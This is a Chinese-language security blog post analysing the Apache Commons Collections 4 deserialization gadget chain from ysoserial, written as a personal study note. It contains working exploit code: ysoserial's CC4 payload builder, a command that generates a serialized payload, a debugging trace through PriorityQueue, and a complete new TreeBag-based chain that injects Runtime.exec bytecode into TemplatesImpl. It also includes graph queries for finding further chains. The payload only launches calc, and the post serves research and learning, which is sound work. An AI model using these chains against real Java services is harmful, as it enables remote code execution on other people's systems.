Java Commons Collections 4 调用链

前言:继续分析学习,我这里跟的都是ysoserial中的代码,正好学习CC链,同样也可以学习ysoserial这个反序列化工具的使用

调用链分析

直接看yso的实现,发现如下几个点。

1、这里的templates使用的是TemplatesImpl类,看起来这个类很通用,因为在yso中可以看到cc2-4就一直使用这个模板进行攻击,调用链有所不同,但是攻击利用始终都是用这个类!

3、接着就是开始构造调用链,可以看到InstantiateTransformer,之前在cc3中学到过,这个类可以通过构造函数paramTypes,args来进行实例化对应的任意类

3、然后再是用ConstantTransformer来进行链式调用

4、触发反序列化对象为PriorityQueue中的TransformingComparator

	public Queue<Object> getObject(final String command) throws Exception {
		Object templates = Gadgets.createTemplatesImpl(command);

		ConstantTransformer constant = new ConstantTransformer(String.class);

		// mock method name until armed
		Class[] paramTypes = new Class[] { String.class };
		Object[] args = new Object[] { "foo" };
		InstantiateTransformer instantiate = new InstantiateTransformer(
				paramTypes, args);

		// grab defensively copied arrays
		paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
		args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

		ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

		// create queue with numbers
		PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
		queue.add(1);
		queue.add(1);

		// swap in values to arm
		Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
		paramTypes[0] = Templates.class;
		args[0] = templates;

		return queue;
	}

反序列化复现

复现环境:

1、Commons Collections版本为 4:4.0

2、jdk版本8u180

还是老样子直接生成cc4利用的payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc" >> cc4.txt

public class Test {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("cc4.txt"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc4.txt"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

调试过程

因为在cc2中的时候学习了,反序列化的触发点为PriorityQueue,所以就直接在PriorityQueue的readOjbect下断点进行跟一遍

继续跟hapify(),因为触发点在这里面

继续跟进siftDown

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

继续跟进siftDownUsingComparator,因为这里我们有实现comparator,这个comparator也就是上面我们构造的TransformingComparator

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

compare方法

经典的链式操作又要开始了

最后又开始触发了getTransletInstance,该函数里面进行了实例化类,从而触发了calc的执行,具体之前分析了,所以这里简单的过一下

总结下:

Commons Collections 4 我现在感觉起来很简单,为什么觉得简单?我目前已经分析到了cc4,我会发现cc3和cc4是前面的cc1-2的演变或者是混合体,都是混着用,所以有些套路已经知晓了,所以会理解的比较快!

TreeBag新反序列化链

package com.zpchcbd.cc4;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.AbstractMapBag;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.TreeMap;

public class cc4_jdk8_v4_TreeBag {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool classpool = ClassPool.getDefault();
        classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        //拿到Exploit
        CtClass class_s = classpool.get(Exploit.class.getName());
        // 拿到AbstractTranslet
        CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
        // 设置父类(过if)
        class_s.setSuperclass(class_f);
        class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
        // 获取TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        setFieldValue(templates, "_name", "zpchcbd_test");
        setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});

        Comparator transformingComparator = new TransformingComparator(transformer);

        TreeBag treeBag = new TreeBag(transformingComparator);
        treeBag.add(templates);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        serialize(treeBag);
        unserialize();

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

tabby反序列化链挖掘

tabby_TransformingComparator

source:java.util.PriorityQueue#readObject
chain: org.apache.commons.collections4.Transformer#transform
sink:java.lang.reflect.Constructor#newInstance

match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.PriorityQueue"
match (m1:Method{CLASSNAME:"java.lang.reflect.Constructor", NAME:"newInstance"})
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 8) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next","readInt","defaultReadObject"] or n.CLASSNAME=~'java.security.*')
return * limit 10

tabby_treebag

source:任意类#readObject
chain:
sink: java.util.Comparator#compare

这里只需要找到 任意类#readObject到java.util.Comparator#compare的路径即可,后面的构造交给TransformingComparator处理即可

match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="compare" and m1.CLASSNAME="java.util.Comparator"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

posted @ 2021-06-13 15:19  zpchcbd  阅读(395)  评论(0)    收藏  举报